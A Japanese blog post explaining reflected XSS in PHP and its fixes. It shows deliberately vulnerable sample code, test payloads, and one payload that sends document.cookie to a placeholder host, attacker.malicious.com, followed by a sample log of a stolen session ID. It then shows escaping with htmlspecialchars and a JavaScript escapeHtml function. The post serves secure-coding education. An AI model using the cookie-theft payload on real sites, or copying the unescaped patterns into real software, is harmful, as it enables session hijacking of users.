Vulnerable sample code -XSS-

gamzatti
Vote 0 Votes
XSS

XSS


- 要素の内容にスクリプトを注入

-サンプルコード1
<?php
    $username = $_GET["username"];
    session_start();
    print " ".$username;
?>

-攻撃コード
- ダイアログを表示
usernameに以下を入力
<script>alert(document.cookie)</script>

http://hogehoge.com/xss.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E

- cookieを攻撃者のサーバに送信
http://hogehoge.com/xss.phpusername=<script>window.location=
'http://attacker.malicious.com/attack.php?'+document.cookie;</script>

実際にはURLエンコードが必要
攻撃者サーバのアクセスログ

GET /attack.php?PHPSESSID=486kotqq25ij9t3tj0nq0ebp25 HTTP/1.1" 200 94 "http://hogehoge.com/xss.php?username=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fattacker.malicious.com%2Fattack.php%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C!--" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0"

-->PHPSESSIDが送られてしまう

- 対策の検証

- レスポンスのエスケープ
  <>&" ' のエスケープ(実体参照化)が必要

- サンプルコード(要素の内容)
<p> <?php echo htmlspecialchars($username, ENT_QUOTES, "UTF-8"); ?></p>

- レスポンス
<p> &quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!--</p>

- JavaScriptのエスケープ
HTMLコードを書き出しているdocument.write, innerHTMLなどは同様の対策が必要。

-サンプルコード(脆弱な例)
document.write("Your name is "+document.getElementsByName('username')[0].value);

- インプット(username)
<script>alert("xss!")</script>

- サンプルコード(エスケープ)
JSには標準APIにはエスケープの機能がない
function escapeHtml(str) {
    str = str.replace(/&/g, '&amp;');
    str = str.replace(/</g, '&lt;');
    str = str.replace(/>/g, '&gt;');
    str = str.replace(/"/g, '&quot;');
    str = str.replace(/'/g, '&#39;');
    return str;
}

- 要素の属性
ダブルクォートで囲い、属性値のダブルクォートを&quotにエスケープ
①エスケープなし、ダブルクォート囲いなし

- サンプルコード
<?php
    $icon = $_GET["icon"];
    print '<img src='.$icon.'>';
?>

- インプット(icon)
icon not found onerror=alert(document.cookie);

- レスポンス
<img src=icon not found onerror=alert(document.cookie);>	

-->スクリプトが実行される
②エスケープなし、ダブルクォート囲いあり

- サンプルコード
<?php
    $icon = $_GET["icon"];
    print '<img src="'.$icon.'">';
?>

-インプット
icon not found "onerror=alert(document.cookie);"
<img src="icon not found "onerror=alert(document.cookie);"">	

-->スクリプトが実行される
③エスケープあり、ダブルクォート囲いあり

- サンプルコード
<?php
    $icon = $_GET["icon"];
  $icon=htmlspecialchars($icon, ENT_QUOTES, "UTF-8");
    print '<img src="'.$icon.'">';
?>

- インプット
icon not found "onerror=alert(document.cookie);"

-レスポンス
<img src="icon not found &quot;onerror=alert(document.cookie);&quot;">	

-->スクリプトが実行されない
参考)

https://cybozudev.zendesk.com/hc/ja/articles/201850320-JavaScript%E3%81%A7%E3%82%BB%E3%82%AD%E3%83%A5%E3%82%A2%E3%81%AA%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%92%E3%81%99%E3%82%8B%E3%81%9F%E3%82%81%E3%81%AB%E6%B0%97%E3%82%92%E3%81%A4%E3%81%91%E3%82%8B%E3%81%93%E3%81%A8

http://blog.tokumaru.org/2015/04/phpsqlxss.html

http://gihyo.jp/admin/serial/01/charcode/0001

https://www.ipa.go.jp/security/awareness/vendor/programmingv1/a01_02.html

http://itpro.nikkeibp.co.jp/article/COLUMN/20080221/294407/?rt=nocnt

Leave a comment

About this Entry

This page contains a single entry by gamzatti published on April 23, 2017 12:38 AM.

Vulnerable sample code -OS command injection- was the previous entry in this blog.

How to Install Elasticsearch+logstash+kibana on CentOS is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.